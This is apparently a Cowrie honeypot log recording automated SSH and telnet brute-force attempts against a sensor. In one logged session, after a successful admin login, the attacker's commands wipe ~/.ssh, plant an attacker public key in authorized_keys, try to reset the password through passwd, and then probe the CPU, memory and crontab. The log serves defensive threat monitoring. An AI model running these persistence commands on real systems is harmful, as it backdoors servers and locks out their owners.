{"eventid":"cowrie.login.success","username":"admin","password":"123admin","message":"login attempt [admin/123admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:11:04.426510Z","src_ip":"210.114.22.126","session":"d2f452bd5f61","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:11:04.888819Z","src_ip":"210.114.22.126","session":"d2f452bd5f61","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:11:04.892746Z","src_ip":"210.114.22.126","session":"d2f452bd5f61","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:11:04.897282Z","src_ip":"210.114.22.126","session":"d2f452bd5f61","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":57556,"dst_ip":"159.203.135.109","dst_port":23,"session":"c5dbc2d2c0a2","protocol":"telnet","message":"New connection: 41.76.108.55:57556 (159.203.135.109:23) [session: c5dbc2d2c0a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:11:05.047462Z"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":58038,"dst_ip":"159.203.135.109","dst_port":23,"session":"d18895ba6ae8","protocol":"telnet","message":"New connection: 41.76.108.55:58038 (159.203.135.109:23) [session: d18895ba6ae8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:11:05.162635Z"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.4","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:11:05.325446Z","src_ip":"210.114.22.126","session":"d2f452bd5f61","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:11:05.583110Z","src_ip":"210.114.22.126","session":"d2f452bd5f61","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:11:05.586919Z","src_ip":"210.114.22.126","session":"d2f452bd5f61","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.180179119110107,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:11:06.130387Z","src_ip":"41.76.108.55","session":"83947766ccf9","protocol":"telnet"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/admin/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:11:06.232928Z","src_ip":"210.114.22.126","session":"d2f452bd5f61","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.7","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:11:06.236961Z","src_ip":"210.114.22.126","session":"d2f452bd5f61","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"210.114.22.126","src_port":57170,"dst_ip":"10.17.0.5","dst_port":22,"session":"1a93a8c0e2b1","protocol":"ssh","message":"New connection: 210.114.22.126:57170 (10.17.0.5:22) [session: 1a93a8c0e2b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:11:06.440497Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:11:06.535791Z","src_ip":"210.114.22.126","session":"1a93a8c0e2b1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:11:06.735772Z","src_ip":"210.114.22.126","session":"1a93a8c0e2b1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":39294,"dst_ip":"159.203.135.109","dst_port":23,"session":"f36a8accab11","protocol":"telnet","message":"New connection: 41.76.108.55:39294 (159.203.135.109:23) [session: f36a8accab11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:11:07.559513Z"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":39314,"dst_ip":"159.203.135.109","dst_port":23,"session":"f893d4870700","protocol":"telnet","message":"New connection: 41.76.108.55:39314 (159.203.135.109:23) [session: f893d4870700]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:11:07.566756Z"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:11:08.458756Z","src_ip":"210.114.22.126","session":"1a93a8c0e2b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.218899488449097,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:11:08.635235Z","src_ip":"41.76.108.55","session":"eea4cc5d5cb9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.1112015247345,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:11:09.053362Z","src_ip":"41.76.108.55","session":"af388201270a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:11:09.855007Z","src_ip":"210.114.22.126","session":"1a93a8c0e2b1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"210.114.22.126","src_port":58000,"dst_ip":"10.17.0.5","dst_port":22,"session":"626572b45b56","protocol":"ssh","message":"New connection: 210.114.22.126:58000 (10.17.0.5:22) [session: 626572b45b56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:11:10.253447Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:11:10.257903Z","src_ip":"210.114.22.126","session":"626572b45b56","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:11:10.460010Z","src_ip":"210.114.22.126","session":"626572b45b56","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"3245gs5662d34","message":"login attempt [admin/3245gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:11:11.456611Z","src_ip":"210.114.22.126","session":"626572b45b56","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.917409896850586,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:11:12.141902Z","src_ip":"41.76.108.55","session":"01eb75f38034","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.13221263885498,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:11:12.268615Z","src_ip":"41.76.108.55","session":"2f522242b5b1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:11:12.669117Z","src_ip":"210.114.22.126","session":"626572b45b56","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:11:13.020595Z","src_ip":"210.114.22.126","session":"d2f452bd5f61","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:11:13.024473Z","src_ip":"210.114.22.126","session":"d2f452bd5f61","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","size":2,"shasum":"3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","duplicate":true,"duration":"0.4","message":"Closing TTY Log: var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99 after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:11:13.459149Z","src_ip":"210.114.22.126","session":"d2f452bd5f61","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:11:13.803953Z","src_ip":"210.114.22.126","session":"d2f452bd5f61","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo -e \"123admin\\nLpWEoi9BktGS\\nLpWEoi9BktGS\"|passwd|bash","message":"CMD: echo -e \"123admin\\nLpWEoi9BktGS\\nLpWEoi9BktGS\"|passwd|bash","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:11:13.807787Z","src_ip":"210.114.22.126","session":"d2f452bd5f61","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"Enter new UNIX password: ","message":"CMD: Enter new UNIX password: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:11:13.811644Z","src_ip":"210.114.22.126","session":"d2f452bd5f61","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"Enter new UNIX password:","message":"Command not found: Enter new UNIX password:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:11:13.814808Z","src_ip":"210.114.22.126","session":"d2f452bd5f61","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/d8539de3a21805d69b829849e0a1421075974f9aac2e04f2b162caa0a9db0381","size":32,"shasum":"d8539de3a21805d69b829849e0a1421075974f9aac2e04f2b162caa0a9db0381","duplicate":false,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/d8539de3a21805d69b829849e0a1421075974f9aac2e04f2b162caa0a9db0381 after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:11:14.260651Z","src_ip":"210.114.22.126","session":"d2f452bd5f61","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:11:14.505507Z","src_ip":"210.114.22.126","session":"d2f452bd5f61","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo \"123admin\\nLpWEoi9BktGS\\nLpWEoi9BktGS\\n\"|passwd","message":"CMD: echo \"123admin\\nLpWEoi9BktGS\\nLpWEoi9BktGS\\n\"|passwd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:11:14.508662Z","src_ip":"210.114.22.126","session":"d2f452bd5f61","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.429949522018433,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:11:15.244528Z","src_ip":"41.76.108.55","session":"b43c4bd2af09","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.74277377128601,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:11:15.249835Z","src_ip":"41.76.108.55","session":"ca6ecf62ff26","protocol":"telnet"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/85091f16ea35af3fde7987bcadff3e0ff5ea72c28eed0895167a993a1ac3c2e6","size":25,"shasum":"85091f16ea35af3fde7987bcadff3e0ff5ea72c28eed0895167a993a1ac3c2e6","duplicate":false,"duration":"0.9","message":"Closing TTY Log: var/lib/cowrie/tty/85091f16ea35af3fde7987bcadff3e0ff5ea72c28eed0895167a993a1ac3c2e6 after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:11:15.373991Z","src_ip":"210.114.22.126","session":"d2f452bd5f61","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"15.204.204.191","src_port":37734,"dst_ip":"10.17.0.5","dst_port":23,"session":"a2d9c6fe68f1","protocol":"telnet","message":"New connection: 15.204.204.191:37734 (10.17.0.5:23) [session: a2d9c6fe68f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:11:15.427862Z"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:11:15.619103Z","src_ip":"210.114.22.126","session":"d2f452bd5f61","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","message":"CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:11:15.623005Z","src_ip":"210.114.22.126","session":"d2f452bd5f61","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":41284,"dst_ip":"159.203.135.109","dst_port":23,"session":"8204025ff2ef","protocol":"telnet","message":"New connection: 41.76.108.55:41284 (159.203.135.109:23) [session: 8204025ff2ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:11:15.644458Z"}
{"eventid":"cowrie.session.connect","src_ip":"15.204.204.191","src_port":37744,"dst_ip":"10.17.0.5","dst_port":23,"session":"8781d42dbeb4","protocol":"telnet","message":"New connection: 15.204.204.191:37744 (10.17.0.5:23) [session: 8781d42dbeb4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:11:15.803249Z"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","size":35,"shasum":"95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","duplicate":true,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:11:16.168575Z","src_ip":"210.114.22.126","session":"d2f452bd5f61","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.506351232528687,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:11:16.204403Z","src_ip":"41.76.108.55","session":"5748d3e830e2","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:11:16.412765Z","src_ip":"210.114.22.126","session":"d2f452bd5f61","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","message":"CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:11:16.415871Z","src_ip":"210.114.22.126","session":"d2f452bd5f61","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","size":26,"shasum":"ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","duplicate":true,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:11:16.872483Z","src_ip":"210.114.22.126","session":"d2f452bd5f61","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:11:17.117810Z","src_ip":"210.114.22.126","session":"d2f452bd5f61","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ls -lh $(which ls)","message":"CMD: ls -lh $(which ls)","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:11:17.121268Z","src_ip":"210.114.22.126","session":"d2f452bd5f61","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"which ls","message":"CMD: which ls","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:11:17.124472Z","src_ip":"210.114.22.126","session":"d2f452bd5f61","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","size":55,"shasum":"a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","duplicate":true,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:11:17.571191Z","src_ip":"210.114.22.126","session":"d2f452bd5f61","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:11:18.030498Z","src_ip":"210.114.22.126","session":"d2f452bd5f61","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"crontab -l","message":"CMD: crontab -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:11:18.033486Z","src_ip":"210.114.22.126","session":"d2f452bd5f61","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":52560,"dst_ip":"159.203.135.109","dst_port":23,"session":"075098f40eff","protocol":"telnet","message":"New connection: 41.76.108.55:52560 (159.203.135.109:23) [session: 075098f40eff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:11:18.580663Z"}
{"eventid":"cowrie.session.closed","duration":30.795204877853394,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:11:19.258487Z","src_ip":"41.76.108.55","session":"ae1f68b22f60","protocol":"telnet"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","size":21,"shasum":"f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","duplicate":true,"duration":"1.4","message":"Closing TTY Log: var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:11:19.476612Z","src_ip":"210.114.22.126","session":"d2f452bd5f61","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":57258,"dst_ip":"159.203.135.109","dst_port":23,"session":"f2d2a0f96a4a","protocol":"telnet","message":"New connection: 41.76.108.55:57258 (159.203.135.109:23) [session: f2d2a0f96a4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:11:19.756728Z"}
